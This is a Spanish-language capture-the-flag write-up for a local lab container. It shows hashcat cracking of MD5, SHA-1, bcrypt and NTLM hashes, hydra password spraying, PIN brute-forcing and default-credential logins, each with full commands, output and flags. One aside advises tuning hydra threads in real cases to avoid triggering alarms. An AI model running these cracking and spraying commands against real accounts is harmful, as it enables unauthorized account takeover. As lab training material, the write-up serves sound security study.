Writeup — Lumen Tech
Los crackeos y los ataques con hydra son reales, ejecutados contra el contenedor desplegado (localhost:8989). Las claves de ejemplo están todas en rockyou.
Reto 1 — Credenciales por defecto
Acceso directo★
El panel /admin nunca cambió sus credenciales de fábrica. La primera combinación que se prueba, admin/admin, funciona:
$ curl -s -X POST -d 'usuario=admin&clave=admin' localhost:8989/admin | grep -o 'GO{{[^}}]*}}' GO{credenciales_por_defecto_nunca_cambiadas}
Flag: GO{credenciales_por_defecto_nunca_cambiadas}
Reto 2 — Identificar el hash
Análisis★
El hash suelto de /dump tiene 64 caracteres hexadecimales: es SHA-256. Se responde sha256:
$ curl -s -X POST -d 'algoritmo=sha256' localhost:8989/dump | grep -o 'GO{{[^}}]*}}' GO{identificar_el_hash_es_el_primer_paso}
Flag: GO{identificar_el_hash_es_el_primer_paso}
Reto 3 — Crackeo MD5 (laura)
Offline★★
$ echo ddf442defc60fb25c2aee35aa0c68f75 > h.txt
hashcat -m 0 -a 0 h.txt /usr/share/wordlists/rockyou.txt --quiet
ddf442defc60fb25c2aee35aa0c68f75:sunshine26Clave: sunshine26. Se introduce en el formulario de /dump para el usuario laura:
$ curl -s -G localhost:8989/crack --data-urlencode 'usuario=laura' --data-urlencode 'clave=sunshine26' | grep -o 'GO{{[^}}]*}}' GO{md5_cae_en_segundos}
Flag: GO{md5_cae_en_segundos}
Reto 4 — Crackeo SHA-1 (carlos)
Offline★★
$ echo 7f873de4dbf9caba1cbcba9799e821148e8d8bca > h.txt
hashcat -m 100 -a 0 h.txt /usr/share/wordlists/rockyou.txt --quiet
7f873de4dbf9caba1cbcba9799e821148e8d8bca:pokemon99$ curl -s -G localhost:8989/crack --data-urlencode 'usuario=carlos' --data-urlencode 'clave=pokemon99' | grep -o 'GO{{[^}}]*}}' GO{sha1_tampoco_protege_una_clave_debil}
Flag: GO{sha1_tampoco_protege_una_clave_debil}
Reto 5 — Crackeo bcrypt (victor)
Offline★★★
El hash de victor empieza por $2y$: es bcrypt, modo -m 3200. Es mucho más lento por su sal y su coste, pero la clave (summer2011) está en el top de rockyou, así que cae igual:
$ echo '$2y$08$kszXYxHAgEu7JXJ9TGHdOOnwkbAE5z5918TDrNzdKS7bWB6DxfO0S' > h.txt
hashcat -m 3200 -a 0 h.txt /usr/share/wordlists/rockyou.txt --quiet
$2y$08$kszXYxHAgEu7JXJ9TGHdOOnwkbAE5z5918TDrNzdKS7bWB6DxfO0S:summer2011$ curl -s -G localhost:8989/crack --data-urlencode 'usuario=victor' --data-urlencode 'clave=summer2011' | grep -o 'GO{{[^}}]*}}' GO{el_salt_ralentiza_pero_no_salva_una_clave_del_top}
Flag: GO{el_salt_ralentiza_pero_no_salva_una_clave_del_top}
Reto 6 — Crackeo NTLM (diana)
Offline★★
El hash de diana es NTLM (formato de Windows), modo -m 1000. NTLM no lleva sal, así que es tan rápido de romper como MD5:
$ echo 4fc64497d0b89c96a9795b87eb447133 > h.txt
hashcat -m 1000 -a 0 h.txt /usr/share/wordlists/rockyou.txt --quiet
4fc64497d0b89c96a9795b87eb447133:welcome123$ curl -s -G localhost:8989/crack --data-urlencode 'usuario=diana' --data-urlencode 'clave=welcome123' | grep -o 'GO{{[^}}]*}}' GO{ntlm_sin_sal_es_un_regalo}
Flag: GO{ntlm_sin_sal_es_un_regalo}
Reto 7 — Rociado de contraseñas
Online★★
En vez de muchas claves contra un usuario, se prueba UNA clave común contra todos los usuarios del organigrama. Se prepara la lista de usuarios y se lanza hydra con una sola contraseña:
$ printf "jgarcia\nmlopez\nrsanz\nacabrera\ndfernandez\nsoporte\n" > usuarios.txt
hydra -L usuarios.txt -p "Primavera2024" 127.0.0.1 -s 8989 http-post-form "/login:usuario=^USER^&clave=^PASS^:incorrectos"
[8989][http-post-form] host: 127.0.0.1 login: jgarcia password: Primavera2024
[8989][http-post-form] host: 127.0.0.1 login: mlopez password: Primavera2024
[8989][http-post-form] host: 127.0.0.1 login: rsanz password: Primavera2024
(... los 6 usuarios usan la misma clave)Cualquiera de esos usuarios, con esa clave, entra en /login y muestra la flag:
$ curl -s -X POST -d 'usuario=mlopez&clave=Primavera2024' localhost:8989/login | grep -o 'GO{{[^}}]*}}' GO{una_misma_clave_contra_todos_los_usuarios}
Flag: GO{una_misma_clave_contra_todos_los_usuarios}
Reto 8 — Fuerza bruta de un PIN
Online★★
La cuenta kiosko usa un PIN numérico de 4 cifras: solo 10.000 posibilidades. Se genera la lista y se lanza hydra (-f para parar al primer acierto):
$ seq -w 0 9999 > pins.txt
hydra -l kiosko -P pins.txt -f 127.0.0.1 -s 8989 http-post-form "/login:usuario=^USER^&clave=^PASS^:incorrectos"
[8989][http-post-form] host: 127.0.0.1 login: kiosko password: 8074$ curl -s -X POST -d 'usuario=kiosko&clave=8074' localhost:8989/login | grep -o 'GO{{[^}}]*}}' GO{la_fuerza_bruta_encuentra_lo_corto}
Flag: GO{la_fuerza_bruta_encuentra_lo_corto}
Nota real: contra un servidor de un solo proceso, recorrer los 10.000 PIN lleva su tiempo; en un caso real se ajusta el número de hilos (-t) con cuidado para no tumbar el servicio ni disparar alarmas.
Resumen
| # | Ataque | Herramienta |
|---|---|---|
| 1 | Credenciales por defecto | — |
| 2 | Identificación de hash | análisis visual |
| 3 | Crackeo MD5 | hashcat -m 0 |
| 4 | Crackeo SHA-1 | hashcat -m 100 |
| 5 | Crackeo bcrypt | hashcat -m 3200 |
| 6 | Crackeo NTLM | hashcat -m 1000 |
| 7 | Rociado de contraseñas | hydra |
| 8 | Fuerza bruta de PIN | hydra |